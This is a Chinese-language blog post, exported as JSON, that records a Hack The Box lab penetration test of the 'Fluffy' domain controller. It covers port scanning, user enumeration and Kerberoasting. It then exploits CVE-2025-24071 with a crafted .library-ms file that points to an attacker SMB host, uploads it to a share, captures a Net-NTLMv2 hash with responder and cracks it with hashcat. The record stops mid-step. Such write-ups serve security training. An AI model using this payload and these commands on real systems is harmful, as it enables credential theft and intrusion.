{"id":288,"date":"2025-05-27T18:24:21","date_gmt":"2025-05-27T10:24:21","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=288"},"modified":"2026-01-29T16:18:33","modified_gmt":"2026-01-29T08:18:33","slug":"288","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/05\/27\/288\/","title":{"rendered":"HTB\u9776\u673a Fluffy \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.129.109.9<\/strong><\/code>\uff08\u591a\u4e2aIP\u5730\u5740\uff09<\/strong><\/p>\n

\u51ed\u636e\uff1aj.fleischman \/ J0elTHEM4n1990!<\/code><\/strong><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.129.109.9 (10.129.109.9) 56(84) bytes of data.\n64 bytes from 10.129.109.9: icmp_seq=1 ttl=127 time=324 ms\n64 bytes from 10.129.109.9: icmp_seq=2 ttl=127 time=449 ms\n64 bytes from 10.129.109.9: icmp_seq=3 ttl=127 time=285 ms\n64 bytes from 10.129.109.9: icmp_seq=4 ttl=127 time=391 ms\n\n--- 10.129.109.9 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3004ms\nrtt min\/avg\/max\/mdev = 285.304\/362.372\/449.039\/62.804 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.95 scan initiated Sun May 25 07:16:13 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.109.9\nNmap scan report for 10.129.109.9\nHost is up (0.31s latency).\nAll 65535 scanned ports on 10.129.109.9 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun May 25 07:16:59 2025 -- 1 IP address (1 host up) scanned in 46.17 seconds<\/code><\/pre>\n
\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun May 25 07:20:38 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.109.9\nNmap scan report for 10.129.109.9\nHost is up (0.31s latency).\nNot shown: 65516 filtered tcp ports (no-response)\nPORT      STATE SERVICE       VERSION\n53\/tcp    open  domain        Simple DNS Plus\n88\/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-25 06:21:38Z)\n139\/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n389\/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)\n| ssl-cert: Subject: commonName=DC01.fluffy.htb\n| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb\n| Not valid before: 2025-04-17T16:04:17\n|_Not valid after:  2026-04-17T16:04:17\n|_ssl-date: 2025-05-25T06:23:26+00:00; +7h00m01s from scanner time.\n445\/tcp   open  microsoft-ds?\n464\/tcp   open  kpasswd5?\n593\/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n636\/tcp   open  ssl\/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)\n| ssl-cert: Subject: commonName=DC01.fluffy.htb\n| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb\n| Not valid before: 2025-04-17T16:04:17\n|_Not valid after:  2026-04-17T16:04:17\n|_ssl-date: 2025-05-25T06:23:25+00:00; +7h00m01s from scanner time.\n3268\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)\n| ssl-cert: Subject: commonName=DC01.fluffy.htb\n| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb\n| Not valid before: 2025-04-17T16:04:17\n|_Not valid after:  2026-04-17T16:04:17\n|_ssl-date: 2025-05-25T06:23:26+00:00; +7h00m01s from scanner time.\n3269\/tcp  open  ssl\/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)\n|_ssl-date: 2025-05-25T06:23:25+00:00; +7h00m01s from scanner time.\n| ssl-cert: Subject: commonName=DC01.fluffy.htb\n| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb\n| Not valid before: 2025-04-17T16:04:17\n|_Not valid after:  2026-04-17T16:04:17\n5985\/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-title: Not Found\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n9389\/tcp  open  mc-nmf        .NET Message Framing\n49666\/tcp open  msrpc         Microsoft Windows RPC\n49677\/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n49678\/tcp open  msrpc         Microsoft Windows RPC\n49685\/tcp open  msrpc         Microsoft Windows RPC\n49695\/tcp open  msrpc         Microsoft Windows RPC\n49708\/tcp open  msrpc         Microsoft Windows RPC\n49742\/tcp open  msrpc         Microsoft Windows RPC\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose\nRunning (JUST GUESSING): Microsoft Windows 2019|10 (97%)\nOS CPE: cpe:\/o:microsoft:windows_server_2019 cpe:\/o:microsoft:windows_10\nAggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Host: DC01; OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled and required\n| smb2-time: \n|   date: 2025-05-25T06:22:46\n|_  start_date: N\/A\n|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   333.65 ms 10.10.14.1\n2   333.73 ms 10.129.109.9\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun May 25 07:23:28 2025 -- 1 IP address (1 host up) scanned in 170.08 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun May 25 07:24:29 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.109.9\nNmap scan report for 10.129.109.9\nHost is up (0.30s latency).\nNot shown: 65531 open|filtered udp ports (no-response)\nPORT    STATE SERVICE\n53\/udp  open  domain\n88\/udp  open  kerberos-sec\n123\/udp open  ntp\n389\/udp open  ldap\n\n# Nmap done at Sun May 25 07:25:14 2025 -- 1 IP address (1 host up) scanned in 45.19 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aWindows Server 2019<\/code>\uff0c\u4e14\u4e3a\u57df\u63a7\u5236\u5668\uff0c\u6839\u57df\u540d\u4e3afluffy.htb<\/code>\uff0c\u57df\u63a7\u4e3b\u673a\u540d\u4e3adc01<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
DNS\u670d\u52a1\uff0853\u7aef\u53e3\uff09<\/h2>\n
\u5c1d\u8bd5\u4f7f\u7528dig<\/code>\u5de5\u5177\u5411\u9776\u673a\u67e5\u8be2\u5173\u4e8e\u4e3b\u57df\u540d\u7684DNS<\/code>\u8bb0\u5f55\u4fe1\u606f\uff1a<\/p>\n
dig any fluffy.htb @dc01.fluffy.htb<\/code><\/pre>\n
\"\"<\/p>\n
\u672a\u53d1\u73b0\u654f\u611f\u8bb0\u5f55\uff0c\u5c1d\u8bd5\u5bf9\u5b50\u57df\u540d\u8fdb\u884c\u7206\u7834\uff0c\u672a\u53d1\u73b0\u65b0\u5b50\u57df\u540d<\/p>\n
Kerberos\u670d\u52a1\uff0888\u7aef\u53e3\uff09<\/h2>\n
\u6839\u636e\u9898\u76ee\u63d0\u4f9b\u7684\u51ed\u636e\uff0c\u76f4\u63a5\u4f7f\u7528impacket-lookupsid<\/code>\u7206\u7834\u57df\u5185\u7528\u6237\u540d\u5217\u8868\uff1a<\/p>\n
impacket-lookupsid fluffy.htb\/j.fleischman:'J0elTHEM4n1990!'@dc01.fluffy.htb 30000<\/code><\/pre>\n
\"\"<\/p>\n
\u5c06\u5176\u4fdd\u5b58\u81f3aduser.lst<\/code>\uff1a<\/p>\n
Administrator\nGuest\nkrbtgt\nDC01$\nca_svc\nldap_svc\np.agila\nwinrm_svc\nj.coffey\nj.fleischman<\/code><\/pre>\n
\u968f\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528\u63d0\u4f9b\u7684\u51ed\u636e\uff0c\u5bf9\u57df\u5185\u5404\u7528\u6237\u8fdb\u884c\u4e86Kerberoasting<\/code>\u653b\u51fb\u68c0\u67e5\uff0c\u5e76\u6210\u529f\u83b7\u53d6\u4e86\u4e09\u4e2a\u7528\u6237\u7684TGS-REP<\/code>\u54c8\u5e0c\u503c\uff0c\u4f46\u65e0\u6cd5\u7834\u89e3\u3002<\/p>\n
Windows SMB\u670d\u52a1<\/h2>\n
\u5c1d\u8bd5\u4f7f\u7528\u63d0\u4f9b\u7684\u51ed\u636e\u767b\u5f55SMB<\/code>\u670d\u52a1\uff1a<\/p>\n
impacket-smbclient fluffy.htb\/j.fleischman:'J0elTHEM4n1990!'@dc01.fluffy.htb<\/code><\/pre>\n
\"\"<\/p>\n
\u53d1\u73b0\u5b58\u5728\u5171\u4eab\/IT<\/code>\uff0c\u8fdb\u5165\u67e5\u770b\uff1a<\/p>\n
\"\"<\/p>\n
\u8be5\u5171\u4eab\u5185\u5b58\u5728\u4e00\u4efdUpgrade_Notice.pdf<\/code>\u6587\u4ef6\uff0c\u8fd8\u6709\u4e24\u4e2a\u538b\u7f29\u5305\u548c\u6587\u4ef6\u5939\u3002<\/p>\n
\u5c06\u4ee5\u4e0a\u5171\u4eab\u5185\u5bb9\u4e0b\u8f7d\u5230\u653b\u51fb\u673a\u4e0a\u67e5\u770b\uff0c\u53d1\u73b0\u538b\u7f29\u5305\u548c\u6587\u4ef6\u5939\u5747\u4e3aEverything<\/code>\u548cKeePass<\/code>\u4e24\u6b3e\u8f6f\u4ef6\u7684\u5b89\u88c5\u76ee\u5f55\u5907\u4efd\uff1a<\/p>\n
\"\"<\/p>\n
\u67e5\u770bPDF<\/code>\u6587\u4ef6\uff0c\u53d1\u73b0\u8be5\u6587\u4ef6\u8c8c\u4f3c\u4e3a\u76ee\u6807\u7cfb\u7edf\u8fd0\u7ef4\u6307\u6325\u5458\u5411\u5404\u8fd0\u7ef4\u5355\u4f4d\u4e0b\u53d1\u7684\u4fee\u8865\u64cd\u4f5c\u7cfb\u7edf\u6f0f\u6d1e\u547d\u4ee4\uff1a<\/p>\n
\"\"<\/p>\n
\u5f80\u4e0b\u7ffb\u9605\u6587\u4ef6\uff0c\u53d1\u73b0PDF<\/code>\u7ed9\u51fa\u4e86\u4e00\u5f20\u6f0f\u6d1e\u5217\u8868\uff1a<\/p>\n
\"\"<\/p>\n
\u5176\u4e2d\u63d0\u5230\u4e86\u4e00\u4e2a\u6f0f\u6d1eCVE-2025-24071<\/code>\uff0c\u8054\u7f51\u67e5\u8be2\u8be5\u6f0f\u6d1e\uff1a0x6rss\/CVE-2025-24071_PoC: CVE-2025-24071: NTLM Hash Leak via RAR\/ZIP Extraction and .library-ms File<\/a><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u8be5\u6f0f\u6d1e\u4e3aWindows<\/code>\u8d44\u6e90\u7ba1\u7406\u5668\u4e2d\u81ea\u52a8\u89e3\u538bZIP<\/code>\u6587\u4ef6\u529f\u80fd\u7684\u6f0f\u6d1e\u3002\u5728\u53d7\u8be5\u6f0f\u6d1e\u5f71\u54cd\u7684\u7cfb\u7edf\u4e0a\uff0c\u4f7f\u7528\u8d44\u6e90\u7ba1\u7406\u5668\u53cc\u51fb\u89e3\u538b\u4e00\u4e2aZIP<\/code>\u538b\u7f29\u5305\u65f6\uff0c\u5982\u679c\u8be5ZIP<\/code>\u538b\u7f29\u5305\u5185\u542b\u6709.Library-ms<\/code>\u8d44\u6e90\u5e93\u914d\u7f6e\u6587\u4ef6\uff0c\u5219\u8d44\u6e90\u7ba1\u7406\u5668\u4f1a\u81ea\u52a8\u5e94\u7528\u8be5\u914d\u7f6e\u6587\u4ef6\u5e76\u6253\u5f00\u8d44\u6e90\u5e93\u3002\u8fd9\u65f6\uff0c\u5982\u679c\u914d\u7f6e\u6587\u4ef6\u5185\u7684\u8d44\u6e90\u5730\u5740\u4e3a\u6076\u610fSMB<\/code>\u670d\u52a1\u5730\u5740\uff0c\u5219\u653b\u51fb\u8005\u5c31\u4f1a\u6536\u5230\u76ee\u6807\u7cfb\u7edf\u7528\u6237\u7684Net-NTLM<\/code>\u54c8\u5e0c\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u793e\u4f1a\u5de5\u7a0b\u5b66\u901a\u9053\u5229\u7528\u64cd\u4f5c\u7cfb\u7edf\u6f0f\u6d1e<\/h2>\n
\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u53d1\u73b0\u4e86SMB<\/code>\u670d\u52a1\u4e2d\u7684\u7cfb\u7edf\u6f0f\u6d1e\u66f4\u65b0\u901a\u77e5\u6587\u6863\uff0c\u4e14\u8be5\u6587\u6863\u63d0\u5230\u4e86CVE-2025-24071<\/code>\u8d44\u6e90\u7ba1\u7406\u5668\u6f0f\u6d1e\uff1b\u8054\u60f3\u5230SMB<\/code>\u670d\u52a1\u4e2d\u8fd8\u5b58\u5728\u4e24\u4e2a\u538b\u7f29\u5305\u548c\u5176\u89e3\u538b\u540e\u7684\u6587\u4ef6\u5939\uff0c\u6000\u7591\u6709\u5b9a\u65f6\u811a\u672c\u7a0b\u5e8f\u5728\u6a21\u62df\u654c\u529e\u516c\u4eba\u5458\u53cc\u51fb\u89e3\u538bZIP<\/code>\u538b\u7f29\u5305\u7684\u64cd\u4f5c\uff0c\u51b3\u5b9a\u5bf9\u8be5\u6f0f\u6d1e\u8fdb\u884c\u5229\u7528\u3002<\/p>\n
\u9996\u5148\uff0c\u7f16\u5199\u5982\u4e0bsparkle.library-ms<\/code>\u8d44\u6e90\u5e93\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<libraryDescription xmlns=\"http:\/\/schemas.microsoft.com\/windows\/2009\/library\">\n  <searchConnectorDescriptionList>\n    <searchConnectorDescription>\n      <simpleLocation>\n        <url>\\\\10.10.14.3\\shared<\/url>\n      <\/simpleLocation>\n    <\/searchConnectorDescription>\n  <\/searchConnectorDescriptionList>\n<\/libraryDescription><\/code><\/pre>\n
\u4fdd\u5b58\u540e\uff0c\u5c06\u5176\u6253\u5305\u4e3aexploit.zip<\/code>\u6587\u4ef6\uff0c\u968f\u540e\u542f\u52a8responder<\/code>\u5bf9\u865a\u62df\u7f51\u5361\u8fdb\u884c\u76d1\u542c\uff1a<\/p>\n
responder -I tun0 -v<\/code><\/pre>\n
\u63a5\u7740\u5411\/IT<\/code>\u5171\u4eab\u76ee\u5f55\u4e0a\u4f20\u6076\u610f\u538b\u7f29\u5305exploit.zip<\/code>\uff1a<\/p>\n
impacket-smbclient fluffy.htb\/j.fleischman:'J0elTHEM4n1990!'@dc01.fluffy.htb\nuse IT\nput exploit.zip<\/code><\/pre>\n
\"\"<\/p>\n
\u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u6210\u529f\u63a5\u6536\u5230p.agila<\/code>\u7528\u6237\u7684Net-NTLM v2<\/code>\u54c8\u5e0c\u503c\uff1a<\/p>\n
\"\"<\/p>\n
\u5c06\u54c8\u5e0c\u503c\u4fdd\u5b58\u4e3a\u6587\u4ef6\uff0c\u5c1d\u8bd5\u4f7f\u7528hashcat<\/code>\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n
.\\hashcat.exe -m 5600 -a 0 Z:\\fluffy\\hashes\\p.agila_netntlmv2.txt .\\rockyou.txt --force<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u53d1\u73b0\u7528\u6237\u51ed\u636e\uff1a<\/p>\n